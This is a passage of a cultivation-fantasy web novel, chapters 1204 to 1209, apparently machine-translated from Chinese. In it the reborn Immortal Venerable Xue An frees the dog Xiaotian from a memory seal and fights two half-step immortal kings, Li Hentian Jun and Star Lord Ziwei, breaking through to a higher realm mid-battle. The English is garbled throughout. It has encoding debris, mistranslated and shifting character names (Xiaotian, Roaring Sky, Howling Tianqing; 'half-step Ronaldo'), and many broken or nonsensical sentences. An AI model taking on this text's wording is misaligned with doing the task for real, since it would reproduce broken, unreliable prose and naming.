    And his eyes seemed to contain endless starlight, full of compelling power, which made people afraid to look directly.


    Opposite him, it was another scene.


    But seeing a ray of brilliance began to emerge out of thin air, and then gradually formed the figure of a man.


    This man is wearing a gorgeous robe, standing with his hands holding his hands, his face is ancient, and the divine light around his body even makes the space collapse.


    That''s right, the two who came are the Star Lord Ziwei and Lihentianjun.


    The power of these two people was so strong that even the space began to tremble and groaned overwhelmedly.


    But in terms of the aura of the two of them, they have even approached the strong immortal king.


    Under such crushing power, everyone bowed their heads, even crawling on the ground, not daring to raise their heads.


    Only Xue An stood in the power of the stormy waves, without the slightest movement.


    At this time.


    Seeing the star lord Ziwei sneered. .


    "Xue An, Xue Xianzun! Yes, this is indeed the full set we set up, but have you ever thought that there will be today?"


    And Li Hentian Jun sighed softly, "Red Lotus Immortal Venerable, all of this is your own snare, and you can''t blame others! After all, this Guankou Erlang, I stayed here on purpose, in order to make the Chinese obsessed. All the powerful came to die, but I never expected that the Red Lotus Immortal Venerable who once swept the heavens and overwhelmed the world is actually a Chinese!"

 Chapter 1204： It takes 1 bite for a meal, and 1 bill for 1...

    How strong will the two powerhouses with the least strength in the half-step fairy king join hands?


    Few people can answer this question.


    Because it can reach the realm of the half-step immortal king, even in the heavens, it can be regarded as the power of the separate party.


    At this level, there is very little that can let him join forces.


    But today, Ji Huan, Zui Meng and others have all seen it.


    Seeing the voice of Lord Li Hentian questioned by Star Lord Ziwei, the space was shaken out of layers of small cracks, as if it would collapse in the next second.


    And Xue An''s figure is like a flat boat in the stormy sea, so precarious.


    Seeing this scene, Ye Liuyan, or perhaps the combination of Ye Liuyan and the son of Ziwei, let out a great laugh.


    "The surname is Xue, aren''t you a cow*? How about your current cow*jin? Honglian Xianzun, hehe, such a big name, I''m so scared!"


    Ye Liuyan''s tone is extremely arrogant and full of sarcasm.


    Xue An didn''t have the slightest anger, even when facing the aura of the two powerful men, there was no slightest fear in his eyes.


    He knows very well that his identity will be discovered sooner or later.


    Especially when he was in the Secret Realm of Qi Luck, he had been in contact with the star lord of Ziwei, and the star lord of Ziwei had seen his identity.


    It''s just that the star lord of Ziwei at the time was very humble.


    In today''s scene, Xue An is not too surprised.


    In fact, he had already noticed a slight strangeness before entering the Hell of God.


    Especially when he heard that Li Hen Tianjun had not come out in his own kingdom of God in order to entertain a distinguished guest, he had already expected it.


    But none of this stopped Xue An.


    Because even if it is really a trap, in order to save the Chinese gods, it is worth it.


    Thinking of this, Xue An raised the corners of his mouth, revealing a cold smile.


    "Star Lord Ziwei, Li Heng Tianjun, do you really think...you can encircle me with your strength? Are you not afraid that I inherited part of my original strength?"


    These questions made the aura of the two most powerful men stagnate, and a hint of hesitation appeared in their eyes.


    are not two timid.


    But they were facing the Red Lotus Immortal Venerable who once had the supreme reputation.


    How powerful was the original Red Lotus Immortal?


    There are powerhouses such as Li Heng Tianjun and Ziwei Star Lord, ten of them are tied together, and they may not be enough for this Red Lotus Immortal Venerable.


    And Xue An, as the rebirth body of the Red Lotus Immortal Venerable, if he really inherited a part of his strength, the result would be... hard to imagine.


    The two of them couldn''t help but become suspicious, and even the aura on their bodies became suspicious.


    Xue An smiled when he saw it, then turned his head to look at Xiang Yangjian.


    "Erlang Shenjun, was this the way our Chinese gods were?"


    Yangjian was also a little dazed by the series of changes just now, but he was born a **** and noble by nature. He quickly regained consciousness after hearing what Xue An said, and then sneered and shook his head.


    "If our Chinese were so frightened with them, we wouldn''t have all died in battle, no one would surrender!"


    Speaking of this, Yang Jian''s voice was a little sad, obviously thinking of his comrades in arms.


    Xue An nodded, and then suddenly raised his finger to Xiaotian, "Shenjun Erlang, do you know who this person is?"


    Yang was stunned. After coming in, he focused all his attention on Xue An, so he didn''t pay attention to anything else at all. It was not until Xue An asked that he looked at Roaring Sky.


    Despite the age, and the aura has changed too much through time.


    But Yang Jian still recognized him at a glance, and couldn''t help but shook his whole body, shouting in infinite surprise: "Wow...Wow?"


    The pain on his face grew thicker, and he felt that something was about to break free.


    After hearing Yang Jian''s cry, he was shocked and let out a painful growl.


    Yangji immediately understood that this was the seal that Li Hentian had placed on Xuantian, and he was about to speak.


    Seeing Xue An raising his hand, a divine light cut straight out, passing directly above the sea of ??knowledge that roared the sky.


    I heard a crisp sound.


    Roaring sky was full of shocks, as if the shackles had been lifted, and the confusion in his eyes began to fade.


    The turbulent memory began to flow in my heart, gushing, Jiro, war.......


    and so on, the scene lingers in Xiaotian''s heart.


    At the same time, I heard Yang Jian tremblingly shout, "Wow!"


    Roaring sky shook all over, turned his head to look at Yang Jian.


    suddenly!


    There were two lines of blood and tears in his eyes, and then he whispered: "Lord...Master!"


    After that, he raised his head to the sky with a long roar, and rushed directly.


    Thousands of years of time have been blocked, and under the long absence of reunion, one person and one dog all cried.


    Xue An also felt a bit sore in his nose, and couldn''t help taking a deep breath.


    And just now.


    He only heard a round of applause, and then listened to Li Hentian Jun sneered: "It''s really touching master-servant friendship! It''s not bad that you can see one side before you die!"


    Hearing this, Roaring, who was cuddling and crying at the feet of Yang Jian, suddenly raised his head.


    He who has recalled everything, naturally understands what Li Hen Tianjun has done to him in these thousands of years.


    The owner was trapped here and suffered forever.


    But he was sealed and remembered, and he recognized the thief as his father outside and let him drive him.


    This kind of bitter hatred made Xiaotian''s blood boil, and he couldn''t help but roar with extreme resentment.


    "Li Hate the old thief, I swear to kill you!"


    "Kill me? Ha ha, just rely on you? An old dog?" Li Hentian Jun''s face showed a touch of disdain.


    Xiaotian''s eyes were blood red, and his whole body trembled with immense anger.


    But when he was about to explode, Xue An suddenly appeared next to him, patted his shoulder lightly, smiled slightly, "Don''t worry, you have to eat one bite at a time, and you have to pay for it. Forget it! Whatever owes us will be returned eventually!"


    Roaring anger gradually calmed down.


    Li Heng Tianjun smiled coldly at this moment, and said playfully: "Xue An, you are now a mud bodhisattva, and you can''t protect yourself! What''s the point of saying such big talk?"


    Xue An smiled, "Do you know? I have a problem!"


    "Oh? What''s wrong?"


    "That is the more impossible it is, the more I have to do it! For example...I am going to kill two people now, don''t know if they have any opinions?" Xue An smiled politely.


    ''S words made Li Hen and Ziwei Star Clan all face changed. .


    "Fun with mystery, Li Heng, we will kill him together! Then we will take away his soul. After all, he was once the Immortal Venerable. There must be countless treasures and secrets in his memory! You and I will be divided equally! Said grimace.


    Xue An laughed at the words, "Well, I''m right here, if you want, come and get it!"

 Chapter 1205： Ten Thousand Ways to 1

    After that, I saw a flash of light in Xue An''s eyes, and the restraints imposed on his cultivation were instantly disintegrated, and then a mighty power rose from the top of Xue An''s head.


    is so powerful that it even directly shook the aura of Li Hentian and Ziwei Star Lord directly, and there were faint signs of being superior.


    "How is it possible?" Ye Liuyan, who was smiling and watching the battle, couldn''t believe his eyes, and screamed out: "How can a real fairy in this area have such a powerful power?"


    And Li Hentian Jun and Ziwei Star Lord also changed their expressions, but the two of them reacted quickly, Qi Qi gave a cold shout, and directly moved their hands.


    I can see the stars twinkling, the brilliance is shaking the sky.


    is so powerful that even the world at this moment has stopped.


    In terms of strength, Li Hentian Jun and Ziwei Star Lord are almost the same, they are both above Da Luo, but not at the level of the Immortal King.


    Actually, there are many situations like them among the heavens.


    Because of the achievement of a big Luo, there may be many reasons. There are even great magicians who use various secret methods to forcibly promote an ordinary cultivator to a strong big Luo.


    For example, the Gong Wujian next to Ye Liuyan before was like this.


    But if you want to become an immortal king, it is not that simple. Not only is it a great talent, but also indispensable, but also requires a little luck when you finally achieve the immortal king.


    This air luck is mysterious and mysterious, and it is illusory, which is not imaginable by the ordinary.


    Therefore, among these heavens, the fairy king has become a heaven.


    The strong under the Immortal King, no matter how powerful, are nothing but ordinary people.


    Only the achievement of the Immortal King can be regarded as the admission ticket to the Supreme Venerable.


    Because of the scarcity of the fairy king, among the heavens, the half-step fairy king already represents the top combat power.


    Even many galaxies do not necessarily have a half-step fairy king.


    And at this moment, two and a half steps of the Immortal King shot at the same time, this power is enough to make Venerable Da Luo''s liver and gall.


    What''s more, what I''m dealing with now is just a real immortal powerhouse.


    So under this blow, Ye Liuyan was full of confidence, thinking that Xue An would die and not die again.


    Li Hentian Jun and Ziwei Star Master also think so.


    If it weren''t for Xue Annai to be a respected student, how could he deal with a true immortal as the two of them?


    It''s a shame to pass it out.


    The two of them felt that under this kind of attention, this Xue An would undoubtedly die.


    As expected.


    In an instant, the light of the two men blasted past without hindrance, and finally landed on the ground.


    There was no sound, and in silence, the wilderness ground seemed to be vaporized, and it was instantly melted into a huge deep pit.


    The world is empty, and there is no more figure of Xue An.


    Is it dead?


    Li Hentian Jun and Ziwei Star Lord looked at each other.


    It stands to reason that a true immortal would definitely die under the combined blow of the two of them.


    But Xue An would die so neat?


    It seems that I still overestimate him! Although a fairy respects students, what can a real fairy do?


    Thinking of this, Li Hen and Star Master Ziwei couldn''t help feeling a little upset.


    After all, they had planned to capture Xue An��s soul so as to interrogate those secrets and treasures!


    But the matter was over, they had no choice but to accept it.


    at the same time.


    Everyone was also staring dumbfounded.


    Especially Xiaotian, he was inexhaustibly grateful to Xue An. At this moment, seeing him without a trace, he couldn''t help feeling full of grief and anger, and trembled: "Master, Mr. Xue, he..."


    Yang Jian looked at it quietly, and then whispered: "Wait and watch!"


    At this moment, but seeing that Ji Huan rushed out of the crowd, he raised his head and shouted at Li Hentian with joy: "My husband, I am Ji Huan, you can kill this Xue An is so good, take me home quickly!"


    Li Hentian Jun looked down at this smiling Ji Huan, a sneer appeared on the majestic face.


    "Go home? What home?"


    Ji Huan was stunned, "Naturally it is back to Ding Tianxuan."


    Li Hentian Jun sneered: "Ji Huan, what have you done with me in the past thousand years, do you still use me to say it?"


    Ji Huan��s face suddenly turned pale as paper, "Husband... Husband!"


    "And you dare to betray me this time? Do you really think I have an addiction to cuckold?"


    After that, Li Hentian Jun raised his hand and pointed. Before Ji Huan could say anything, he exploded into nothingness.


    Killing a woman who used to get along with each other day and night, but Li Heng Tianjun is like killing a chicken, without any strange look.


    But at this moment, only a chuckle came from the void, "You are right, you are indeed addicted to cuckolding!"


    Upon hearing this, Li Hen Tianjun and the others were all disillusioned.


    At this moment, I saw that the void was directly cut through a gap, and then Xue An slowly walked out of it, still with a faint smile on his face.


    The pupils of Li Hentian Jun and Ziweixing Master instantly shrank to the size of a needle.


    Because they found that Xue An''s aura became more and more illusory at this moment. Although standing there, it felt like he was thousands of miles away. This feeling made people feel uncomfortable and wanted to vomit blood.


    And Xue An looked down at Ji Huan, who had turned into nothingness, and sighed softly: "She thought she had made a fake warrant, but in fact, this warrant is true! Am I right? Li Heng Tianjun?"


    Li Hentian Jun''s complexion changed slightly, but Xuan even sneered, "So what? This stupid woman will have to die sooner or laterI will take advantage of it before death. Isn''t it normal?"


    Xue An nodded, "That''s right! It''s a pity that the green on your head is still a bit bright!"


    "Stop talking nonsense, the surname is Xue, don''t think you can do anything if you avoid us with one blow. Since we dare to make a move today, it proves that you must die today!" Li Hentian Jun''s face was as cold as ice, and he gave a cold cry, and then He moved his hands again.


    This time, Star Lord Ziwei didn''t participate, but watched coldly.


    But the more so, the greater the pressure on people, because you don''t know when he will do it.


    At the same time, Li Hentian Jun��s attack had already arrived.


    As the lord of Li Hengtian, an old monster that has survived for tens of thousands of years, his methods are not as brilliant as those of the general powerhouse, and even a little indifferent.


    But the more so, the more he showed his viciousness.


    Because it was such an ordinary blow, all Xue An''s retreat was blocked, and even the space was imprisoned.


    But when Xue An faced such a blow, the smile on the corner of his mouth became more fierce, and then there was a frenzy in his eyes.


    In a daze, Xue An was like the Red Lotus Immortal Venerable who stood proudly and overwhelmed the world, and was full of unscrupulous arrogance and arrogance.


    "I used to be the Immortal Venerable in the world! The Chinese blood feud, so I will ask for it!"


    "Ten Thousand Ways to One, the First to Be Given by the Fairy!"


    After that, Xue An raised his fist and blasted out.


    This punch was like shattering the entire world, and with a decisive posture, he faced the blow of Li Hen Tianjun.

 Chapter 1206： Fighting like crazy, one sword cuts the sky

    There was no sound, not even a trace of unnecessary fluctuations.


    Silently, the space where the forces of the two sides collided with each other shattered little by little, and then turned into a deep nothingness.


    Immediately afterwards, the violent turbulence of time and space rushed out, instantly sweeping across the world.


    Drunken Dream and the others backed away in amazement, and then stared at the place that was swept by the turbulent current, and couldn''t help but raise their throat.


    How about adult? Will something happen?


    At this moment, I saw a figure staggering out of the turbulent current, flying out a thousand meters away obliquely, before standing still.


    Howling Tianqing couldn''t help but exclaim, because the person who was shaken out was Xue An!


    Xue An''s face is pale at this moment, and the white clothes that have not been tainted with the slightest smell of fireworks are also slightly wrinkled at this moment.


    The hearts of everyone can''t help but sink.


    Because it is obvious that Xue An has been slightly injured at this moment.


    This made everyone''s hearts tighten.


    At this moment, Li Hen Tianjun, who stands high above the sky, couldn''t help but snorted at this moment, and then shook his body slightly and took a half step back.


    This time, Ye Liuyan, who had thought that Xue An was bound to die, couldn''t help but open his mouth wide.


    How... how is it possible?


    This Xue An is now only a true immortal cultivation base, but with his own strength, he has shaken the immortal king for half a step.


    Although he suffered some injuries, Li Hentian didn''t get much advantage from his current appearance.


    This is incredible.


    You must know that there is no realm gap between them!


    also felt a little frightened by Li Heng Tianjun. He thought that even if this blow could not kill Xue An, he would still kill him, but he did not expect that the final result would be both sides.


    So he stared at Xue An in the distance, and said coldly: "Xue An, you are really amazing! You can shock the old man! But I guess, you should not feel good now! I don''t know if there is another blow. If so, can you catch it?"


    Xue An smiled, and then said indifferently: "Li Heng Tianjun, is this all your strength?"


    Li Hentian Jun raised his eyebrows and shouted in a deep voice, "What do you mean?"


    "It''s not interesting! I just wanted to say..." Xue An licked his lips and smiled sensibly. "It has survived for tens of thousands of years but it has only been cultivated like this. If I were you, I would have found a piece of tofu. I killed myself!"


    "Zhuzi is arrogant!" Li Hentian realized that he had been played by Xue An, he couldn''t help but roared, and then raised his palm again.


    This bombardment with hatred is stronger than ever.


    But Xue An did not show the slightest fear. On the contrary, his eyes burned with almost boiling warfare, and then he gave a cold voice, "Good come!"


    After that, Xue An stepped forward and greeted him again.


    Boom!


    The sound aroused this time swept the whole world.


    Drunken dreams and other people with a shallow cultivation snorted, almost being shocked by the aftermath.


    But shortly afterwards, I saw Xue An''s figure flying out again.


    After standing still, the bright eyes could not help but dim a little.


    After all, it was a battle that surpassed one and a half levels. No matter how tyrannical and unparalleled Xue An is, it is impossible for him to win a half-step imperial king.


    In fact, if Xue An hadn''t practiced his body with the sky fire before coming to Li Hentian, he might have been seriously injured and could no longer fight!


    Even so, Xue An''s face turned pale at the moment, and his chest was slightly undulating.


    Li Hentian Jun saw the situation before he let go, and then Jiejie smiled strangely: "Xue An, you can take my palms with the cultivation base of the real fairyland, and I have suffered some minor injuries. This news If it were spread out, it would shock the world! But you are still too arrogant! So arrogant that you don��t understand..."


    "What is the power of the fairy king!"


    asked with his voice.


    The power of Li Hentian became more and more violent, standing in the sky, really like a **** who has passed through the ancients, and it is afraid to look directly.


    Under these turbulent waves and the immense power, Xue An''s figure is like a candlelight in a storm, crumbling, seeming to be in danger of destruction at any time.


    See this scene.


    Zui Meng and Yu Ren''s heart shrank together instantly.


    After being refined by Xue An, the two of them have already served Xue An as their master. Now seeing this scene, they naturally want to fight!


    can be helpless, with their little strength, it is difficult to protect themselves under this remaining prestige, let alone go forward to fight side by side with Xue An.


    Just when the two of them were full of anxiety.


    I saw a bright light flashing, the sword brows and the sky flew to Xue An''s side, then stood proudly, raised his head and sipped at Li Hentianjun with disdain.


    "Li Hate the old thief, I am going to take your dog''s life today! Oh, no, saying that you are a dog is an insult to my race! Because you are not as good as a dog!"


    Hearing Xiaotian''s words, Li Hentian raised his eyebrows and sneered: "Shoutian, you have to figure out what you are doing now!"


    "How do I want to use you to teach my little master?" Shuotian said coldly, and then turned his head to smile at Xue An.


    "Mr. Xue, take a break and give this old thief to me!"


    Xue An did not respond, but quietly looked at the smiling young man, until after a while, he gently shook his head.


    "no need!"


    Howling Tianyi was taken abackMr. Xue... "


    Xue An waved his hand and said with a chuckle: "I know what you are thinking. With your strength, dealing with this Li Heng Tianjun is purely pounding the stone, so you simply want to atone for your sins!"


    Hearing these words, Xiaotian trembled all over, a flash of shock flashed in his eyes, then lowered his head, and said bitterly: "Mr.


    Xue An smiled, and then stretched out his hand to pat his shoulder, "I take your mind, but I can deal with such an old trash, I can''t use you to help!"


    These words not only shocked Xiaotian, but even Li Hentian Jun and others could not help but startled.


    Then Li Heng Tianjun sneered again and again: "Xue An, I really admire you! If you die, you dare to be so stiff?"


    Xue An laughed up to the sky, and the laughter was full of madness.


    "I am a person who never speaks big words, Liheng Tianjun, Star Lord Ziwei, the lives of you two are now mine. I said this! No one can change it!"


    "Looking for death!" Li Hentian Jun finally furious, then raised his hands, put his palms together and patted them down.


    This blow, like the overwhelming power of heaven and earth, hits Xue An with the mighty power.


    In the face of such a earth-shattering blow, Xue An didn''t seem to be moved at all. He just raised his hand, and endless sword lights appeared around his body, and then gathered in his hand.


    in an instant. .


    A brilliant and brilliant sword took shape, and then Xue An yelled coldly, "Look at me... with one sword!"


    After that, Xue An raised his hand and sword, and cut straight down!

 Chapter 1207： Promotion·Half-step Da Luo

    This is an indescribable sword, where the sword light passes, it seems that even the void has been cut in half.


    And the blow from Li Hentian Jun was directly penetrated by this sword like an old lady''s soft persimmon.


    The sword light was extremely fast, and it even traversed the layers of barriers between the beards, directly before Li Hentian.


    Li Hentian Jun didn''t care much about this, because with his cultivation base, ordinary weapons could not shake one of his hairs.


    But soon, he knew he was wrong.


    Because after the sword light and the body, Li Hentian Jun felt like he was in an ice cellar, and his heart was cold.


    This can''t help making Li Hentian Jun let out a scream, and then he can stand sideways in this inaccurate time, barely avoiding the sword.


    But he still hides a bit slowly.


    Jianguang flew across his shoulder obliquely, and then disappeared into the sky.


    Then Li Hentian Jun snorted, because there was a trace of red blood oozing out of his shoulders.


    One sword!


    Li Heng Tianjun was injured!


    The world is silent.


    Li Hentian turned his head and looked at the wound on his shoulder, the expression on his face changed several times, and then gradually became gloomy.


    "Father!" Ye Liuyan couldn''t help but say.


    Li Hentian Jun ignored him, but looked at Xue An coldly.


    "I have long heard that the Red Lotus Immortal Venerable Swordsmanship can reach the sky, and can kill the immortals and destroy the gods. When I saw it today, it really deserves its reputation!"


    Xue An smiled slightly, "Thank you!"


    "But do you really think that based on these, what can you do with me?" When this is said, Li Hentianjun greedily licked his lips, "Xue An, you know that with your current cultivation level, it looks like Children walk in the downtown with their daughters! If I didn''t want your soul, do you think you can survive till now?"


    The Violet Star Master, who has been watching the battle, couldn''t help but sneer for a while, "The Lord Tianjun said that, Xue An, how about we make a deal?"


    "Oh? Transaction? What kind of transaction?" Xue Anhao asked leisurely.


    "In fact, there is not much enmity between you and me. The so-called Chinese blood feud is just a bad debt ten thousand years ago. It has nothing to do with you! So as long as you are willing to surrender obediently, take the initiative to take the divine method you practiced Secret arts and all kinds of secret treasures are all offered, and the two of us can see you as a peerless powerhouse, leaving you a way out! What do you think?"


    Xue looked at the star lord Ziwei quietly, until after a while, he laughed, "Listening to your tone, I seem to be grateful for your decision?"


    Ziwei Star Lord smiled, "Xue An, I know you must be very dissatisfied! But this condition is already generous enough, at least it is better than the end of your death!"


    Xue An ignored him, but turned to look at Yang Jian, "Brother Erlang, have these gods always been like this?"


    Yang Jian smiled, and then said lightly: "Yes, it has always been like this!"


    Xue An nodded, "No wonder!"


    "No wonder what?" Xiaotian couldn''t help asking by the side.


    "No wonder the decline of their Protoss over the past tens of thousands of years is because you group of arrogant so-called Protoss powerhouses are at work!" Xue An said indifferently.


    At this time, Li Hentian Jun and Ziwei Star Lord''s complexion all changed, and they looked at each other, and then Ziwei Star Lord sneered.


    "Xue An, it seems that you are really going to be obsessed and run to the dark! That''s good, then we will fulfill you today!"


    "Ten Thousand Star Cage!"


    With an order from the Star Master Ziwei, I saw an endless sea of ??stars appeared in the surrounding world, and then the stars criss-crossed and weaved into a cage, trapping Xue An and the others to death.


    When the cage took shape, Zuimeng and Yu Ren snorted first, and then all fell to the ground.


    They felt that their cultivation base was being crazily suppressed, and instantly became two mortals.


    Besides, Roaring snorted, his stature fell for the most part, and he almost fell to the ground.


    But he was extremely stubborn, holding on and refused to fall.


    can be his strength, that is, he can only protect himself.


    In an instant, only Xue An was left standing in the air, but through his back, it could be seen that the space above Xue An''s head and shoulders seemed to be bent. Presents an arc state.


    This also shows the tremendous pressure Xue An is experiencing at this moment.


    But even so, Xue An still didn''t have any expressions, just said lightly: "Isolate the world?"


    "That''s right!" Star Master Ziwei said triumphantly: "Xue An, now the surrounding world has been used by me, here, I am the supreme existence, you should give up as soon as possible..."


    The last struggle hadn''t been uttered, and Xue An sneered coldly, and then took a lightly step.


    At this step, Xue An broke free of all restraints in an instant.


    "Is this what you call the supremacy?" Xue An showed sarcasm.


    Star Master Ziwei was shocked, and cried out strangely: "How is it possible, how can you break free of my restraint?"


    Xue An said lightly: "Why is it impossible?"


    Star Master Ziwei gritted his teeth, and he was embarrassed, and he couldn''t help shouting, "Li Heng, this person has endless methods. You and I will do it together. First destroy his body!"


    Li Heng Tianjun had this meaning long ago, and he smiled sternly, "Good to say!"


    After that, an extremely bright brilliance suddenly appeared in his eyes, and then he uttered Tian Xian and said every word.


    "No! Wrong! It! Kill!"


    Boom!


    But seeing the brilliance, one after another, the intent to kill the sky rises up like a snake and python, swaying behind Li Hengtianjun, looking down at the earth with the terrifying light of choosing people.


    Li Heng Tianjun gave a grin raised his hand and pointed at Xue An, "Kill him!"


    These snakes and pythons, purely condensed by killing intent, swarmed.


    At the same time, the Violet Star Master also painted a volley, drawing a talisman seal in an instant, and then seeing stars hanging down, reflecting on these snakes and pythons, suddenly increasing their power by more than ten times.


    in an instant.


    These snakes and pythons have already rushed to the front, then opened their blood basin and swallowed Xue An directly.


    The python body trembled lightly, killing intent like a tide.


    And Xue An''s figure has disappeared.


    Now, Xiaotian couldn''t help exclaiming, "Mr. Xue!"


    may be at this moment, but seeing these snakes and pythons suddenly began to struggle in pain, and then broke apart every inch.


    Among them, there is a daunting aura slowly emerging.


    The laws of heaven and earth oscillated, as if a group of officials bowed their heads to welcome the arrival of the king.


    And Roaring Tian and Ye Liuyan screamed together.


    "This is... the power of Luo!"


    The voice just fell, but seeing these snakes and pythons condensed by killing intent, they melted like ice and snow.


    And Xue An slowly walked out of it, his eyes looked like iron and his face was as cold as ice.


    While walking, the momentum is rising steadily.


    One step, two steps.......


    After taking seven steps, Xue An''s momentum finally climbed to the top. .


    At this moment, he suddenly raised his eyes, the light in his eyes was all-encompassing, and the law was firm.


    Finally, Xue An broke through the real immortal at this moment and stepped into the realm of Da Luo!

 Chapter 1208： Punish Xinghai with 1 enemy 2

    Xue An raised his eyes and looked at him, as the imposing manner pointed, Li Hentian Jun and Ziwei Star Master changed in color.


    It is reasonable to say that Xue An is just a half-step big Luo, and they are still a big level behind them, which is nothing at all.


    somehow, when it was swept by Xue An''s eyes.


    Both of them felt cold and stiff.


    That feeling, as if being stared at by an ancient dragon, was chilling.


    But soon, the two of them regained consciousness, and then looked at each other, and both saw the solemnity in each other''s eyes.


    As those who know Xue An''s details, they naturally understand that there is no other option between them and Xue An, only the ending of endless death.


    Otherwise, if Xue An escapes this disaster, it will be endless troubles.


    In addition, the two of them were also scared by Xue An''s endless methods.


    After only a while, he had already broken through to half-step Ronaldo. God knows what other means he has hidden, so the two of them stopped talking nonsense, screamed together, and directly killed Xue An.


    Two big half-step immortal kings joined forces in a single blow. The power is so powerful that even this world is shaking violently, and it seems to be overwhelmed at any time.


    But just before this blow hit Xue An, it was about to swallow Xue An completely.


    Xue An suddenly disappeared.


    Yes, it means disappearing in the literal sense.


    , who was still standing there just now, as if directly covered by a magical paintbrush, he disappeared instantly.


    Immediately afterwards, the attack of the two went straight through, blasting the ground out of a huge abyss without a bottom.


    Where did he go?


    Li Heng Tianjun and Ziwei Xing master shook together, and they all felt a little surprised.


    At this moment, only a chuckle came from the ears of the two.


    "Have you enjoyed it?"


    Hearing this, Li Hen Tianjun and Ziwei Star Master shook together, but the two of them were peerless powerhouses, and their reaction was not unpleasant, almost at the same time they blasted behind them.


    But the result is still in vain.


    Immediately afterwards, Xue An sneered coldly, "It seems very enjoyable, but now... it''s my turn!"


    After ����, I saw Xue An''s figure suddenly appearing beside Li Hentianjun, and then raised his hand and banged directly on his head.


    With this palm, the speed was almost at its extreme, and Li Hentianjun didn''t even have time to evade, so he felt a powerful volley attack and directly smashed him down from the sky.


    Boom!


    After a loud noise, a huge human-shaped pit appeared on the ground. Li Hentian Jun was smashed into the ground and disappeared.


    The whole audience was shocked by this order.


    The star lord Ziwei trembled even more, but he saw the opportunity very quickly, and the light in his eyes flashed, the stars burst in the sky, and then ten thousand points of starlight fell, forming a starlight barrier directly around him.


    Once the barrier reached 10%, Star Master Ziwei breathed a sigh of relief, and then smiled at Xue An with a smug face: "Xue An, you are really amazing, but now I have a Ten Thousand Star Bodyguard, what can you do with me?"


    After that, Star Lord Ziwei laughed loudly.


    But his laughter only lasted a short while before it stopped abruptly.


    Because at this moment, Xue An also smiled, and the smile was full of madness.


    "Ten Thousand Star Bodyguard? Then I will destroy your ten thousand stars!"


    After that, Xue An clenched his palms into a fist, raised his eyebrows and strode, and blasted directly.


    Hoo!


    This punch seemed to have lifted the whole world, and a violent hurricane came straight in.


    But when these hurricanes touched the starlight barrier, the hurricane disappeared when they saw the light flashing.


    The Violet Star Master, who was originally shocked by the violent momentum of this punch, was relieved when he saw it, and then he laughed.


    "Xue An, it''s useless. With your current cultivation level, you can''t break my defenses at all. Save effort and think about how to save your life later! Hahaha...hiccup!"


    The laughter of Star Lord Ziwei turned into a scream of horror in the end.


    Because at this moment, Xue An''s punch was directly printed on the starlight barrier.


    But seeing the starlight flowing above the barrier, it seems that he is fully resisting Xue An''s punch.


    But this struggle only lasted less than a second, and then the barrier was suddenly broken.


    At the same time, I saw the stars above the sky trembling wildly, and then began to burst one by one.


    In an instant, the sea of ??stars burst and the stars were destroyed.


    Star Lord Ziwei was hit hard by this blow and flew directly back ten miles away, even the light in his eyes dimmed a little, then looked at Xue An with horror on his face, and shouted.


    "This is impossible! With your current strength, how could it be possible to break my Ten Thousand Star barrier?"


    It doesn''t matter whether he believes it or not.


    Things have really happened.


    And Xue An didn''t give him any chance to breathe, and saw him flash, his whole person instantly appeared in the sky above the star lord of Ziwei, and then he gave the above instructions and punched him.


    Unprepared, Star Master Ziwei couldn''t react too much at all, so he could barely raise his hand and confront Xue An with this punch.


    Then, like a stream of light, he was also smashed by Xue An from the sky and disappeared into the ground.


    From Xue An''s hands to the present, there are only a few breaths in total.


    But the two powerhouses who had just returned to show off their power, they were all hit by Xue An into the ground just like the gophers.


    These facts made everyone stunned When will half-step Ronaldo kill the half-step fairy king?


    Ye Liuyan is even more like seeing a ghost, lowering his head and looking at the two large human-shaped pits on the ground in disbelief.


    I thought everything went well, Xue An would undoubtedly die.


    I didn''t expect that it would turn out to be like this.


    Xiaotian couldn''t help but become happy, "Mr. Xue is really amazing! He actually defeated these two old thieves!"


    Ke Yang Jian looked solemn, staring at the two deep pits on the ground, and then shook his head, "It''s not that simple! Li Hen and the master of Ziwei Xing will never be defeated so easily!"


    snarled for a moment, "Master, you mean..."


    Before I finished speaking, I saw a violent tremor on the ground, and then two brilliance skyrocketed, Li Hen Tianjun and Ziwei Star Master instantly rushed out, one left and one right, rushing towards Xue An with incomparable violent power.


    "My lord!" Zuimeng and Yu Ren exclaimed.


    can face the joint attack of the two powerhouses, but Xue An just smiled coldly, then turned into streamer, rushed forward without fear, and directly fought with them.


    bang bang bang!


    I just listened to the continuous explosion of sound in the sky, and the power that spread out even changed everyone''s discoloration, and I could only look at the three brilliance in the sky with fear.


    This kind of war is almost unheard of. .


    Especially, Xue An is still fighting the two-half-step immortal king with half-step Da Luo''s cultivation base. If this news spreads, it is estimated that countless people''s jaws will be shocked.


    After all, this is beyond the scope that normal people can understand.

 Chapter 1209： Immortal Kings Decree 1 Word Power

    suddenly.


    After another confrontation, the three Guanghua finally separated.


    Looking at the three people at this moment, sweat beads appeared on the forehead of Li Hentianjun, and Star Lord Ziwei was also breathing slightly.


    Only Xue An, still full of indifferent expressions, even squeezed his palms very leisurely. Faintly said: "Why don''t you fight? I haven''t played enough yet!"


    Everyone was speechless.


    Facing the two and a half steps of the siege of the immortal king, it was arrogant to say that he hadn��t played enough.


    arrogant to a heinous degree.


    Li Hentian Jun and Ziwei Star Lord looked at each other, and both saw the terror in each other''s eyes.


    This Xue An is simply too powerful.


    Especially his speed is like a ghost, he can''t touch the corner of his clothes at all, and his fist hits him but it hurts badly.


    If things go on like this, sooner or later, I will be consumed by his life.


    It seems that it can''t go on like this any longer, and the battle should be ended as soon as possible.


    Thinking of this, Li Hen Tianjun and Ziwei Star Master couldn''t help making up their minds.


    Then he took a deep breath, raised his hands together, and took out a golden scroll from his arms.


    However, it can be seen that the golden scrolls in the hands of the two are not completely body, but cut from the middle.


    But even so, when these two scrolls came out, the laws of the whole world were still shaking.


    "That''s...." Everyone was taken aback.


    Yangji��s pupils shrank instantly, and then couldn��t help but exclaimed: ��It��s the decree! That��s the fairy king��s decree!��


    This weird and slurred name is no less than a bolt from the blue in everyone''s ears.


    Because the so-called decree refers to a powerful person who has reached a certain level of strength, and seals his spiritual thoughts, attacks, or even the power of laws on a scroll.


    In this way, this scroll can have the power of this strong one blow.


    The decree of the fairy king, as the name suggests, refers to the scroll sealed by the fairy king himself.


    And from the fluctuations emanating from this scroll, it can be seen that this is not a Xibei goods such as Lihen Tianjun or Ziwei Star Lord, but a genuine and the most powerful person with a complete fairy king law.


    This decree is powerful enough to destroy a small world.


    So everyone can''t help being shocked.


    Xue An was also taken aback, and finally a dignified color appeared in his eyes, but immediately, he said with some playfulness: "No wonder you two will join forces. It turns out that you are a dog of someone else!"


